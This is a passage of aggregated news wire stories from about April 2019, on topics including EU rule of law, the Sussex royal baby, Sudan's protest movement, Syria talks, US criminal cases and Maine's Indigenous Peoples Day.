enforcement agencies legal authority to access a missing persons personal data, telephone records and emails. BRUSSELS - The European Unions top justice official says the independence of the judiciary is under threat in countries like Bulgaria, Hungary, Poland and Romania, and warns that the trend could damage trust between all EU member states. Justice Commissioner Vera Jourova said Friday that challenges to the rule of law are mounting in some countries, at a time when the needed reforms of the judiciary are polluted with extremely politicized debates. Jourova says citizens and companies in the countries, mostly in Eastern Europe, are concerned that political pressure and interference is mounting and that, beyond impeding fair trials, this risks harming business. She says that if a justice system is broken in one country, the impact will be felt all over the EU because we rely on mutual trust. BERLIN - The German centre-right candidate hoping to become the next head of the European Unions executive branch is urging Britain not to take part in the European Parliament elections in May. Manfred Weber told Germanys Funke Media Group it would be good if British politicians quickly ensured clarity about Brexit and didnt take part in the European election. Weber was quoted as saying Friday that a country which is leaving the European Union shouldnt have a significant role in shaping the EUs future. He reportedly added he was bothered by the fact that the Europe-hater Nigel Farage with his Brexit Party is leading the British polls. Thats absurd. Farages former UK Independence Party and wealthy allies were a driving force behind Britains 2016 Brexit referendum that saw 52% back the U.K.s departure from the EU. LONDONThe latest, perhaps greatest royal baby ever (the Anglo-American one) is soon to arrive and the atmosphere is growing positively (negatively?) febrile here. Fever being the go-to metaphor the British press like to use when they are readying for royal babies. The Duke and Duchess of Sussex are expected to give birth soon any minute, day or week now. (Due date? Late April to early May, weve not been told.) But egads Meghan and Harry have gone dark. Theyve zipped their lips. Theyve not shared the intimate details. The press and public dont know who (the medical team is), or where (the hospital is) or when (the baby will be presented to news service photographers). According to an April 11 statement from Buckingham Palace: Their Royal Highnesses have taken a personal decision to keep the plans around the arrival of their baby private. The Duke and Duchess look forward to sharing the exciting news with everyone once they have had an opportunity to celebrate privately as a new family. Meghan, the 37-year-old American former TV actress, has disappeared from public view. She hasnt been seen out in public in, like, forever. Though, to be honest, she looked marvellous on March 11, in her printed Victoria Beckham dress, cream coat and a pill box hat, paired with a satin clutch and pumps, said Town & Country. Harry showed up solo on Easter Sunday at St. Georges Chapel in Windsor Castle. Or, as the tabloids put it in big bold letters: Someones missing! Pregnant Meghan is nowhere to be seen as Harry joins The Queen on her 93rd birthday Easter Sunday service. Read more: Harry and Meghan: Newest royal baby could be an American Do Meghan and Harry owe us a public birth? Diana? Alice? Elizabeth? Britons bet on new royal baby name Then Harry popped up again on Thursday an unannounced surprise at the annual Anzac Day Service of Commemoration and Thanksgiving at Westminster Abbey, to honour those from Australia and New Zealand who served the Commonwealth. But he was mum on everything baby related. We know absolutely nothing, which isnt good, said Ingrid Seward, editor of Majesty magazine, which follows all things royal. In 30 years of covering this kind of news, Ive never known so little. Why the couple has become so press shy about an event widely seen to belong in the public domain could be related to their increasingly fraught relations with Britains tabloid press, which seems to have taken a distinct dislike to the new American member of the royal family. Weve been told that the pre-babied Super Couple have decamped from their newlywed digs at Kensington Palace in London and are now nesting (hiding?) up at Frogmore Cottage (not to be confused with the bigger, better Frogmore House) on the Windsor Castle grounds in Berkshire. The Suns royal correspondent, Emily Andrews, tweeted in November that the cottage needed major building work to turn it back into a luxury family home, boasting 10 bedrooms & a new nursery plus space for a gym & yoga studio. There is some contention about the number of bedrooms. And a suggestion that the nursery will be a monochrome palette whites and grays. What other scraps do we know? Not to expect an immediate mass-media photo-op. When Harrys brother, Prince William, and Catherine, the Duke and Duchess of Cambridge, produced their heir and spares George, Charlotte, Louis they did so dutifully at the Lindo Wing of St. Marys Hospital in London. Kate literally gave birth while the press slurped tea and munched buns and did live stand-ups about the comings and goings of the duchesss hair and makeup team. Then, after just a few hours, Kate with baby appeared camera-ready in heels to pose for the hundreds of camera crews, who had paid for their spots. Meghan isnt likely to repeat. The silence from Harry and Meghan has created a vacuum, which both nature and the British tabloids abhor, and so it has been filled with all kinds of speculation. For example, that the headstrong (read, American) Duchess of Sussex has delivered an astonishing snub to the Queens highly-regarded doctors, insisting she doesnt want the men in suits to oversee the birth of her first child, the Mail on Sunday reported. Instead, according to the Daily Mail, Meghan is plotting a midwifed home birth, possibly in a bath tub at the cottage, forgoing ye olde epidural for relaxation techniques such as hypno-birthing, which Californian Meghan who very much favours alternative therapies is believed to have been studying with Harry. A debate about home births followed, with opinions like the one in a Guardian column: Meghan Markles home birth should not blind us to the risks for most women. Then theres been the speculation about baby names. The Daily Express went with this headline on Thursday: Royal baby name REVEALED? The shock name bookies predict Meghan Markle will call daughter. The shocker was: Grace? The bookmakers listed Elizabeth and Diana being the favourites for a girl. For lads it was it was Albert and Arthur. Far down the list: Voldemort, we might guess. In one sense, the birth of Baby Sussex (title pending, per the queen) is not terribly important, monarch-wise. The heir-tyke to the throne will join a long line to succeed Queen Elizabeth II. Seventh in the queue, in fact. But in global celebrity news terms, it is a big deal. Baby Sussex will be half-American, who may choose to hold dual nationality, as Meghan remains a U.S. citizen while waiting for her British citizenship to be approved. (Meghan and Harry are reportedly not opposed to an American nanny or a male nanny, according to breathless tabloid reports.) The cone of silence, this veil of secrecy from the couple, is largely blamed on Harry by royal watchers. Why? The answers to Harrys reticence may be found in a traffic tunnel in Paris, where his divorced mother, Princess Diana, died in a high-speed car crash in 1997, beside her lover Dodi Fayed, chased to the end by paparazzi. What has happened, I suspect, is that Harry and Meghan are feeling very bruised, said Penny Junor, author of the biography Prince Harry: Brother, Soldier, Son. Junor imagines the royal couple are cross and hurt, and decided to do things their way. Harry is feeling protective, Harry may be feeling ... a lot. Because the media were very nice about Meghan to begin with, and then in very short time, the honeymoon was over, Junor said. They turned on her. The tabloids wrote that Meghan was difficult and high-handed, that she had alienated staff and was brusque. (So American!) The British press also focused on Markles problematic father, Thomas, who insisted (on Good Morning Britain with Piers Morgan) that his daughter had abandoned him. Meghan called her father out and her letter to him was leaked. It began, Daddy ... Your actions have broken my heart into a million pieces. Maybe we should all just busy ourselves with other tasks, but of course we will not. And in Britain, at least, the birth of a royal has long been a cause for celebration. In more innocent times, Queen Elizabeth II delivered all her children at home. When she gave birth to her second son, Prince Andrew, courtiers simply posted a note on the forecourt of Buckingham Palace announcing the event. It took another week for a photo of the baby to be released by the palace. Nobody was camped out anywhere, waiting. Perhaps Harry and Meghan are traditionalists, after all. Read more about: Thousands Celebrate Easter, Good Friday in Jerusalem Stand for Israel | April 26, 2019 Easter in Jerusalem, 2019 Thousands of Christians from around the world gathered in Jerusalem last week to celebrate Good Friday and Easter. On Good Friday, Christians participated in a procession in the Old City, carrying wooden crosses and following the 14 Stations of the Cross. On Sunday in Sri Lanka, a terror attack directed at Christians while celebrating Easter left hundreds dead and more than 500 wounded. ISIS has claimed responsibility. Israel has offered assistance to authorities in Sri Lanka. The U.S. has also offered support to Sri Lanka. The U.S. is ramping up pressure on Iran, targeting its oil exports, discontinuing waivers that allowed eight countries to buy oil from the Islamic Republic. Israel Prime Minister Benjamin Netanyahu announced this week that Israel plans to name a community in the Golan Heights after President Trump in honor of his recognition of the Golan as Israeli territory. This weeks Israel in the News Perspective features the Fellowships President Yael Eckstein on being prepared for war. CAIRO - A group that represents the Bahai community has expressed concern over the fate of minority Bahais at the hands of Yemens Houthi rebels ahead of the appeals hearing for one of the community leaders sentenced to death. The Bahai International Community said in a statement Friday that the hearing for Hamed bin Haydara, detained in 2013 and sentenced to death last year on espionage and apostasy charges, is due on Tuesday. The statement quotes Bani Dugal, the Bahai community representative at the United Nations, as saying the prosecution hasnt addressed Haydaras appeal but is instead making absurd, wide-ranging accusations. International rights groups have decried the prosecution of Yemeni Bahais by the Iran-backed Houthis. Iran has banned the Bahai religion, which was founded in 1844 by a Persian nobleman considered a prophet by followers. BAGHDAD - A U.S. military spokesman says an Iraqi service member has been killed and two others wounded by coalition forces during an operation against Islamic State militants in the countrys north. Army Col. James Rawlinson says the friendly fire incident Friday near al-Dib is under investigation. Iraqs Ministry of Defence said in a statement it was opening its own investigation into casualties caused by a coalition airstrike in Kirkuk province. CAIRO - The Sudanese Professionals Association, which led months of protests that eventually forced one of Africas longest-ruling leaders from power, says its revolution is far from over. The umbrella group of unions succeeded where war and sanctions failed in ending President Omar al-Bashirs three-decade rule. This week the protesters scored another victory by forcing three figures seen as too close to the ousted regime to resign from the military council that assumed power after overthrowing al-Bashir on April 11. The SPA says protesters will remain in the streets until the military hands power to a transitional civilian government. But as the standoff continues, it risks being drawn into the maelstrom of Sudanese politics, where politicians have bickered in the capital as rebellions have raged in the far-flung provinces of one of Africas biggest and most chaotic countries. A look at the SPA and the challenges it faces. WHO ARE THE PROTESTERS AND WHAT DO THEY WANT? Under al-Bashir, the state controlled all professional associations, leading doctors, lawyers, engineers, teachers and others to form independent unions. Three years ago, they joined together and formed the SPA. In December, as Sudan grappled with rising prices and shortages, the SPA planned a march to the capital, Khartoum, to demand wage increases. But when separate demonstrations over rising bread prices erupted in Atbara, a railway hub north of Khartoum, the SPA broadened its demands to the overthrow of the government, invoking slogans from the Arab Spring uprisings of 2011. The groups decentralized leadership allowed it to keep organizing, even after the arrest of several of its leaders. Tech-savvy young people swelled its ranks, using social media to organize rallies and document the governments crackdown. The group established a mass sit-in outside the military headquarters in the capital on April 6. Five days later, the military removed al-Bashir from office, and he now languishes in a Khartoum jail that was filled with detained protesters in the months before his downfall. The SPA has rallied other factions and civil society groups under its Declaration of Freedom and Change. The document calls for dismantling al-Bashirs regime and establishing an elected government with a new constitution. It also calls for ending all discrimination and oppressive practices toward women. But the immediate focus is on pressuring the military to relinquish power. The SPA has called for the formation of a legislative council in which at least 40 per cent of the membership would be women to draft laws and oversee a Cabinet of technocrats until a new constitution is written. ___ IS CIVILIAN RULE POSSIBLE? Sudanese history since independence in 1956 has been marked by long periods of military dictatorship punctuated by short bouts of dysfunctional parliamentary politics. The Sudanese people have no faith in political parties because those parties were always making compromises with the regime in order to garner parliamentary seats or Cabinet portfolios, said Mohammed al-Neel, a 25-year-old protester. What is making the Sudanese Professionals Association garner all this following is the fact that it does not have any partisan leanings, he added. The SPA may still struggle to negotiate Khartoums politics. The military has said it is reaching out to all political forces, raising fears among the SPA that it could cut deals with established parties, or even al-Bashirs National Congress Party, leaving much of his regime intact. They are especially concerned about the Islamists who orchestrated al-Bashirs 1989 military coup, and who still populate the upper ranks of the armed forces. An early bone of contention could emerge over whether to maintain the harsh form of Islamic law imposed by al-Bashir, which included execution, amputation and stoning for some crimes, and which prescribed conservative dress and male guardianship for women. It is a thorny issue because Sudan has a lot of diverse views, from the farthest left to the farthest right, said al-Neel. The SPA could also face resistance from other opposition parties as they struggle to maintain their coalition. The SPA is trusted by the Sudanese people, but it is one of five groups that formed the coalition, said Ibrahim al-Sheikh Abdel Rahman, a senior member of the opposition Sudanese Congress Party, which is part of the coalition. We do not see the SPA as the leader of the revolution. Ismail Adam, a senior member of the Umma Party, one of Sudans oldest parties, said its true the SPA has risen with the people, but there is no democracy without political parties. ___ WHAT ABOUT THE PROVINCES? For decades, Sudan has been convulsed by rebellions in the provinces by ethnic and religious minorities who felt marginalized or oppressed by the Khartoum government, which is dominated by northern Sudanese Arab Muslims. The government fought a decades-long war in mostly Christian and animist South Sudan until its secession in 2011. When an insurgency broke out in the western Darfur province in 2003, al-Bashir mobilized Arab militias known as the Janjaweed, who carried out a wave of atrocities against ethnic African groups there. The International Criminal Court later indicted al-Bashir on charges of genocide, the only time it has issued an arrest warrant for a sitting head of state. Another war has been underway since 2011 in the provinces of South Kordofan and Blue Nile. Rebels there announced a cease-fire earlier this month in support of the protests, which is expected to last until July 31. The Declaration of Freedom and Change calls for ending Sudans civil wars by addressing the root causes, and reaching agreements that are fair, just and comprehensive. But thats a goal that has largely eluded all of Sudans past governments, civilian and military. Prolonged unrest and a lingering economic crisis could fuel renewed demands for autonomy or outright independence among marginalized groups. The coalition is very cohesive now, because it is based on the minimum requirements for an agreement, which is the toppling of the regime, said Atef Ismail, a leader in the Sudanese Communist Party. Everybody agrees on that. DAMASCUS, Syria - Syrias ambassador to the United Nations on Friday accused the United State and the European Union of practicing economic terrorism against his country by imposing what he described as illegitimate and unilateral sanctions. Bashar Jaafari made his comments in the Kazakh capital of Nur-Sultan, where Russia, Turkey and Iran held a new round of talks with the Syrian government and the opposition on steps to bring peace to the country. Last month, Kazakhstan renamed its capital from Astana to Nur-Sultan, in honour of the countrys longtime leader who resigned the week before. It is the 12th round of talks in Nur-Sultan bringing together the major stakeholders on opposing sides of the Syrian civil war, in the hopes of nudging it toward a resolution. But at the end of the two-day talks Friday, Syrias warring sides and the mediators failed again to agree on the formation of a committee meant to draft a new constitution, seen by the United Nations and the U.S. as a key step toward ending the eight-year civil war. With crucial military assistance from Russia and Iran, President Bashar Assads forces have regained control of most of the territory previously held by rebels. Government-held areas, however, have been reeling from the effects of economic sanctions imposed on Syria and its ally Iran. Jaafaris comments came amid widespread fuel shortages in Damascus and other government-controlled areas that have forced people to wait for hours in lines stretching several miles (kilometres) to get few litres (gallons) of gasoline. This is economic terrorism that is escalating through unilateral economic measures, Jaafari said, adding that they are illegitimate because they are not the decision of the U.N. Security Council. The Syrian official also blasted western countries that are refusing to take back their citizens who went to Syria to fight with the Islamic State group, saying they made Syria a victim twice, first by sending the fighters and now by making some of them and their families stay in Syria. He added that IS has not been wiped out as the U.S. and Syrian fighters it backs announced last month, adding that Syrian government forces and their allies are still fighting the extremists in pockets they hold in the desert. A final statement issued at the end of Astanas 12th round also rejected President Donald Trumps formal recognition of Israels sovereignty over Syrias occupied Golan Heights. Jaafari said Turkey and opposition groups it backs now control more than 6,000 square kilometres (2,315 square miles) of northern Syria which is four times the size of the Golan Heights. It was not immediately clear whether any agreements had been reached on the northwestern province of Idlib, where a 7-month-old cease-fire agreement reached between Turkey and Russia is increasingly being violated. In Syria, opposition activists said insurgents fired two rockets at Russias Hemeimeem air base in Latakia province, adding that Russian warplanes launched several airstrikes in retaliation on rebel-held areas in Hama and Idlib provinces. It was not clear if the rockets hit the base and there was no immediate comment from Russian or Syrian authorities. The Britain-based Syrian Observatory for Human Rights, an opposition war monitor, said the airstrikes killed three people, including a child. ___ Associated Press writer Bassem Mroue contributed to this report from Beirut. SANTA BARBARA, Calif. - A pipeline company was fined nearly $3.35 million on Thursday for causing the worst California coastal spill in 25 years. A judge issued a fine and penalties against Plains All American Pipeline for a 2015 spill that sent 140,000 gallons of crude oil gushing onto Refugio State Beach in Santa Barbara County, northwest of Los Angeles. The spill from a corroded pipeline blackened popular beaches for miles, killed wildlife and hurt tourism and fishing. Federal inspectors found that Plains had made several preventable errors, failed to quickly detect the pipeline rupture and responded too slowly as oil flowed toward the ocean. Plains operators working from a Texas control room more than 1,000 miles away had turned off an alarm that would have signalled a leak and, unaware a spill had occurred, restarted the hemorrhaging line after it had shut down, which only made matters worse, inspectors found. Last year, a Santa Barbara County jury found the Houston-based company guilty of a felony count of failing to properly maintain its pipeline and eight misdemeanour charges, including killing marine mammals and protected sea birds. Plains apologized for the spill and paid for the cleanup. The companys 2017 annual report estimated costs from the spill at $335 million, not including lost revenues. The fine was well short of the more than $1 billion in penalties prosecutors had sought. However, additional damages could be levied at a July restitution hearing. We take our responsibility to safely deliver energy resources very seriously, and we are committed to doing the right thing, the Houston-based firm said in a statement Thursday. We are sorry that this release happened, and we have and will continue to work hard to re-earn the trust of area residents. The spill crippled the local oil business because the pipeline was used to transport crude to refineries from seven offshore rigs, including three owned by Exxon Mobil, that have been idle since the spill. Plains has applied for permission to build a pipeline. Conservation groups that oppose offshore drilling in the area are opposed. Its great to see Plains All American Pipeline held accountable for the ecological catastrophe they brought to the Gaviota Coast in 2015. That stretch of coastline has some of the last untouched bluffs and beaches in all of Southern California, Mark Morey, chairman of the Santa Barbara chapter of the Surfrider Foundation, said in a statement. But the idea that this company would be permitted to continue operating in such a naturally rich and unique area is absurd. WICHITA, Kan. - Kansas child welfare authorities investigated two reports of possible abuse or neglect involving a Wichita couple in the 17 months before their 3-year-old son was found dead in his crib. The Kansas Department of Children and Families on Thursday completed its investigation into the April 12 death of Zaiden Javonovich, who authorities believe was dead days before his body was discovered. In a report summary obtained by The Associated Press through an open records request, the agency said it found physical abuse and neglect in the case but provided no other details. Zaidens mother, Brandi Marchant, 22, and his father, Patrick Javonovich, 28, are charged with felony murder and child abuse in Zaidens death. His body was found April 11 when police went to the home after receiving a call about a domestic disturbance. Zaidens 4-month-old brother, who is Marchants son, was found injured and hospitalized in critical condition. In November 2017, the Department of Children and Families investigated possible emotional abuse after a report that Marchant made homicidal and suicidal statements in front of the children. One child who reported a homicidal statement mentioned Zaiden, according to the report. Several people were interviewed but investigators could not substantiate the claim. A year later, the department was told the younger boy tested positive for marijuana at birth. The case could not be investigated as an abuse/neglect case because medical officials did not indicate the boys health was hurt by marijuana use, the summary states. Instead, a Family in Need of Assessment case was started. A social worker who met with the couple found both children appearing healthy, with all necessary supplies for the infant, according to the report. The parents, who are not married, completed a federally required plan of safe care and in another visit, Marchant completed a Department of Children and Families safety plan. The case was closed Jan. 14. The Wichita Eagle reported the agency rejected a request for information about the younger boy. Spokesman Eric Smith confirmed the department received a report of alleged abuse and is investigating. PEKIN, Ill. - The father of the man accused of killing four people at a Waffle House in Tennessee last year pleaded not guilty Thursday to charges related to the gun used in the shooting. Jeffrey Reinking is accused of giving an AR-15-style rifle to his 30-year-old son, Travis Reinking, who authorities said used it in Nashville on April 22, 2018. The elder Reinking contends he was never owner of the gun and had sought the advice of the Tazewell County Sheriffs Department on whether to return the gun to his son. In a filing with the court, his lawyers contend Jeffrey Reinking talked to the sheriffs department several times and at no time was he told the guns should be kept away from Travis Reinking. The defendant is not guilty because the people cannot prove beyond a reasonable doubt that defendant made a gift or sale of a firearm, and Jeffrey L. Reinking was never the owner of the firearm in question, defence attorney Joel E. Brown contends in the filing. At all times the firearm was owned by Travis Reinking. Several guns were returned to Travis Reinking in November 2017, despite the father being aware that his son had been a patient shortly before at the Methodist Medical Center of Illinois Mental Health Unit, according to the charges. The weapons were taken from the younger Reinking in mid-2017 when his Illinois firearm owners identification card was revoked because he had moved to Colorado. The Tazewell County Sheriffs Department placed them in Jeffrey Reinkings care. The older Reinking has posted bond and faces up to three years in prison and a fine, if convicted. The younger Reinking was a one-time crane operator who moved across multiple states and suffered from delusions, sometimes talking about plans to marry singer Taylor Swift, friends and relatives told authorities. He was detained by the Secret Service in July 2017 after venturing into a forbidden area on the White House grounds and demanding to meet President Donald Trump. Travis Reinking is being held without bond on first-degree murder charges. The Tennessean in Nashville reported that the family of Akilah DaSilva, one of the people killed in the Waffle House shooting, has settled the portion of their $20 million lawsuit affecting Jeffrey Reinking. The settlement amount is unknown. BEACH PARK, Ill. - A tractor driver was towing tanks of ammonia from a farm in Wisconsin to a farm in Illinois when the chemical leaked, creating a toxic gas cloud that injured dozens of people in a Chicago suburb, authorities said Friday. The 59-year-old man was travelling in a John Deere tractor that was towing two 1,000-gallon side-by-side anhydrous ammonia tanks from a farm in Pleasant Prairie early Thursday when the ammonia started leaking, Lake County Sheriffs spokesman Christopher Covelli said. The leak happened in Beach Park, about 40 miles (65 kilometres) north of downtown Chicago. The man driving the tractor and its owner are co-operating with authorities, Covelli said. No explanation has been provided on the cause of the leak. More than three dozen people ended up in hospitals, mainly with breathing problems. Seven of those remained in intensive care Friday, including a firefighter. The majority of the injured have been treated and released from hospitals. Eleven firefighters and three police officers were injured. National Transportation Safety Board investigators inspected the ammonia tanks and tractor Friday. NTSB lead investigator Timothy DePaepe said the tanks and tractor would be sent to the manufacturers facility in Illinois where parts would be taken as evidence and for further examination. We will also be interviewing all of the injured individuals and as many of the fire and police responders as we can, DePaepe said. The EPA is out on site. Theyre testing to make sure the area is safe. Toxic gas plumes formed and lingered for several hours after the anhydrous ammonia leaked . DALLAS - Prosecutors have dismissed at least nine cases that were investigated by the former white Dallas police officer charged with murder in the fatal shooting of an unarmed black man in his own apartment, according to court records. A grand jury indicted Amber Guyger on a murder charge in November, nearly three months after she fatally shot Botham Jean, 26, on Sept. 6. Records indicate one county prosecutor asked that their case be dismissed because Guyger had been accused of murdering an innocent man in his own home, The Dallas Morning News reported. Four of the dismissed cases pertained to Guyger and another officer apprehending two men during a January 2018 traffic stop. Most of the dismissed cases involved drug charges. Since Jeans shooting, court records show that judges have dismissed at least five more cases at prosecutors request in which Guyger was the arresting officer. Though the prosecutors did not mention Guyger in their motions to dismiss the cases. Chris Knox, a Dallas defence lawyer, said that anytime an officer is indicted, it places prosecutors in the precarious position when deciding whether to sponsor the officers testimony at an unrelated trial. Prosecutors said they could still call Guyger as a witness in cases. But her indictment for shooting Jean would likely come up. It is entirely normal for the district attorneys office to be wary of calling that officer as a witness against another defendant, said Knox, who is not working on the Guyger case. John Fullinwider, co-founder of Mothers Against Police Brutality, said that the dismissed cases illustrate how police brutality impacts legitimate policing. It remains unclear how many cases could be impacted by Guygers murder indictment. Guyger is scheduled to go on trial for murder in September. ___ Information from: The Dallas Morning News, http://www.dallasnews.com ALLENTOWN, Pa. - A political consultant who pleaded guilty in a pay-to-play scheme in which two Pennsylvania mayors were convicted has been sentenced to five years in prison. Mike Fleck also received three years of supervised release Friday in federal court in Allentown. The FBI has said Fleck was at the centre of a scheme in which the mayors of Allentown and Reading (REH-ding) traded city contracts for campaign donations. Fleck pleaded guilty in 2016 to bribery, extortion and tax evasion. As part of a plea deal, Fleck and another former campaign consultant, who was not charged, recorded conversations discussing campaign contributions with people who wanted to work with the towns. Former Allentown Mayor Ed Pawlowski was sentenced in October to 15 years in prison. Former Reading Mayor Vaughn Spencer received eight years Wednesday. OLYMPIA, Wash. - Republicans in the Washington state House of Representatives will conduct a review of the actions of a controversial state representative who reportedly suggested spying on political enemies. Rep. Matt Shea, R-Spokane Valley, has been dogged this week by the release of text messages from 2017 in which he appeared to condone surveillance and even violence against opponents. I want to understand these allegations as thoroughly as possible, House Republican Leader J.T. Wilcox of Yelm, surrounded by his leadership team, told reporters Friday. Wilcox said he doesnt know yet what such a review would entail, but they have a responsibility to the truth. Lawmakers are racing to finish a two-year state budget, and Wilcox said his constituents expect him to first focus on that matter. When asked about the specifics of the texts, Wilcox said: I and this whole caucus have spoken repeatedly about the fact that we condemn that language. We dont want to be associated with that language. Shea, who rarely speaks to the press, did not return a message from The Associated Press seeking comment. The Guardian newspaper previously reported it had obtained the contents of chats from 2017 involving Shea and three other men proposing to confront leftists with a variety of tactics, including violence, surveillance and intimidation. That report prompted Democrats to demand Republicans expel Shea from their caucus. Shea, a lawyer, posted a statement on his personal Facebook page late Monday calling the story an extremely misleading hit-piece. In the chats printed by The Guardian, Shea appeared to offer to perform background checks on political opponents. He did not appear to disagree when others suggested violence. While numerous Democrats called for Shea to be expelled from the GOP caucus, Wilcox said Shea did not make any of the threats of violence in the group chat. The chats on the messaging app Signal took place in the days leading up to a supposed left-wing revolt in November 2017 that never occurred. All of the men used screen aliases. The Guardian said it obtained the chats from an informant and confirmed the identity of those in the chat, including Shea, by cross-checking phone numbers attached to the Signal accounts. Apart from violence, the men extensively discussed tactics of surveillance and intimidation, the story said. In response to a request in the chat for background checks on Spokane residents, Shea volunteered to help, going on to name three individuals, the newspaper reported. On Thursday, a Spokane television station reported that a group chat involving Shea was originally titled in Russian in a phrase that means The White Movement. KHQ-TV said the chat logs from 2017 were provided to the station by two Shea associates who wish to remain anonymous. Gonzaga University professor Kevin OConnor told the station the White Movement, also known as the White Armies, was anti-Semitic in nature, but was not the same as the white supremacist movements in the United States. He said the White Armies wanted to resurrect the old Russian Empire, but also attacked Jewish communities. OConnor said the White Movement was a major influence on Nazi Germany and Adolf Hitler. We take any charges involving things like racism very seriously, Wilcox, the GOP leader, said. Shea, who represents a deeply conservative district, has served in the state House since 2008, and has embraced far-right conspiracy theories, mingled with militia groups and visited right-wing activists who seized a wildlife refuge in Oregon in 2016. The military veteran attracted international attention in 2018 after a document he wrote laid out a biblical basis for war against people who practiced same-sex marriage and abortion and instructed: If they do not yield, kill all males. Shea lost some political donors and was stripped of his role as chair of the Republican caucus after that. But he has since introduced bills to criminalize abortion and roll back gun laws. He has also pushed for eastern Washington to secede from the rest of the state and create a 51st state called Liberty. ____ Geranios reported from Spokane, Washington. ANCHORAGE, Alaska - Alaska Gov. Mike Dunleavy has amended a state disaster declaration so a small fishing town can get assistance for the damage caused by the magnitude 7.1 earthquake last year. The Republican governor amended the declaration last week to add an area that includes the town of Whittier, about 60 miles (96.5 kilometres) southeast of Anchorage, the Anchorage Daily News reported Thursday. The area was left out of former Gov. Bill Walkers declaration from the Nov. 30 quake that shook south-central Alaska. The December declaration included Anchorage, the Matanuska-Susitna and the Kenai Peninsula boroughs. A preliminary assessment by the state Division of Homeland Security and Emergency Management has identified $507,000 in potentially eligible repairs in the town, Dunleavy said in a letter to state lawmakers. The city is looking for assistance to address severe seismic-shaking damage to critical utility infrastructure, the city and ocean docks, harbour parking areas, and the breakwater that protects the small boat harbour, Dunleavy said. The states damage estimate is conservative, said Jim Hunt, Whittiers city manager. The quake caused extensive damage, but the full extent is not yet known, he said. The city needs funding for engineers to assess the area. Were kind of looking forward to where the road takes us as we go forward, because in some of these circumstances we dont know what we dont know, Hunt said. The lights are still on, but we need to take a deeper look at the foundations of our infrastructure. Inspections were conducted on the Anton Anderson Memorial Tunnel the only access road to the town after the quake, but snow was still covering infrastructure, Hunt said. ___ Information from: Anchorage Daily News, http://www.adn.com CHICAGO - Prosecutors and defence lawyers on Friday recommended starkly different punishments in a long-running Chicago terrorism case before a multiday sentencing hearing that starts Monday and will focus on the 25-year-old defendants mental health. Adel Daoud was arrested in a 2012 FBI sting after trying to detonate what he believed was a real bomb outside a Chicago bar that undercover agents told him would destroy much of the block. The bomb was a fake supplied by the agents. Federal prosecutors asked in a sentencing memo that Judge Sharon Johnson Coleman impose a 40-year prison term, saying hundreds of people would have died had the bombing conspiracy been real. Prosecutors portrayed Daoud as driven to avenge what he viewed as a war by the West on Muslims. They say he often came up with his own ideas for attacks, including one that involved attaching butcher knives to a truck and then driving it into a crowd. In their Friday filing, defence lawyers noted that Daoud has already spent nearly seven years behind bars one-quarter of his life and they asked that he be released after a treatment program for his mental health needs can be developed. Daoud hopes to enter college in 2021, the filing said. In November, Daoud entered the equivalent of a no-contest plea to terrorism and other charges, including for soliciting the murder of an undercover agent. He faces a maximum life sentence. The defence says agents manipulated Daouds fragile mental state, egging the then-teenager on to participate in the plot by reinforcing his misguided views and helping him continue down the rabbit hole of the twisted version of his religion. After engaging Daoud earlier in 2012, agents urged him to agree to increasingly ominous plots knowing he was psychologically troubled and impressionable, the defence filing argues. At one point, it says, Daoud proposed attacks using flying cars. The FBI (had) every reason to question treating Daoud as a terrorist, it says. But instead, the FBI embarked on a self-fulfilling sting operation that identified and then weaponized its target. Prosecutors disputed those claims, saying Daoud showed no signs of mental illness in 2012 and showed so much initiative that agents felt they needed to slow him down at times. The defendant needed no convincing to kill, their filing says. Coleman in 2016 temporarily deemed Daoud mentally unfit for trial, finding he sincerely believed shadowy figures were out to get him. Daoud had called Coleman a reptilian overlord and said his lawyers were in cahoots with the Illuminati. JACKSON, Wyo. - Summer tourists flying into Jackson Hole Airport in northwest Wyoming may soon be able to rent cans of bear spray at the airport before heading out to Yellowstone National Park or other places where grizzly bears roam. The Jackson Hole News & Guide reports airport officials have issued a solicitation for businesses that would be able to maintain some type of bear spray rental vending machine or kiosk in the terminal building. Jackson Airport Director Jim Elwood says a goal of providing the service would be to cut down on the 300 to 400 bear spray canisters that are confiscated from air travellers passing through security checkpoints during a typical summer season. At least one other airport in the Yellowstone region, Montanas Bozeman Yellowstone International Airport, offers a similar service. ___ Information from: Jackson Hole (Wyo.) News And Guide, http://www.jhnewsandguide.com BELLEFONTE, Pa. - A judge is letting two former Penn State fraternity brothers serve sentences on house arrest for convictions related to the death of a pledge. WTAJ-TV reported this week that Joshua Kurczewski and Michael Bonatucci had faced minimums of three months and one month in jail, but that instead theyre going to do that time on home monitoring. They were sentenced for hazing and conspiracy to commit hazing. Kurczewski also pleaded guilty to furnishing alcohol to minors. They were among the Beta Theta Pi members in the house the night in February 2017 that Tim Piazza was severely injured in a series of falls. The 19-year-old Piazza, of Lebanon, New Jersey, died of head and abdominal injuries. He consumed a dangerous amount of alcohol the night of a pledge bid acceptance ceremony. AUGUSTA, Maine - Maine joined a small but growing number of states on Friday that have renamed Columbus Day to honour indigenous people as part of a movement to recognize the dark side of colonialism in the Americas. Several cities and a handful of states have made some move to celebrate Native Americans on the federal holiday dedicated to the 15th century explorer Christopher Columbus, and the movement appears to be gaining momentum: Just this year, New Mexicos governor signed such a law, Vermonts effort awaits the governors signature, and similar bills are pending in Kansas and Massachusetts. Maines governor, Janet Mills, signed a law Friday to change the name of the October holiday to Indigenous Peoples Day. There is power in a name and who we choose to honour, Mills said. Native American tribes and others say celebrating the explorer ignores the effect that the European arrival in the Americas had on the native peoples, who suffered violence, disease, enslavement, racism and exploitation at the hands of the settlers. South Dakota became the first state to replace Columbus Day with a day recognizing Native Americans in 1990, and the National Congress of American Indians and tribal leaders say theyre now finding more support for the decades-old idea amid rising public awareness of those atrocities. With Maines move, there are now five states that permanently honour indigenous people instead on the federal holiday, according to a tally by The Associated Press, and governors in four other states regularly issue proclamations honouring Native Americans on Columbus Day. Few of those states previously recognized the federal Columbus Day holiday, which fewer than half of states recognize. Were at a point where indigenous people and other marginalized groups have been just trying to survive for so long, said Maulian Dana, tribal ambassador for the Penobscot Nation, who travelled to Maines Statehouse for the signing ceremony Friday. Now, she said: Weve been able to lift ourselves up a little bit and work with state and federal government to get to an elevated place. Columbus is widely recognized as opening the Americas to European colonization, though he never set foot on what is now the continental U.S., says historian Jim Loewen, who wrote Lies My Teacher Told Me: Everything Your American History Textbook Got Wrong. Countries throughout the Americas mark his 1492 arrival in the Western Hemisphere, and Italian-American groups have long defended the holiday to celebrate their heritage and acknowledge the discrimination Italian immigrants faced. They should have a day of their own, Jim DiBiase of the Italian Heritage Center in Portland said of 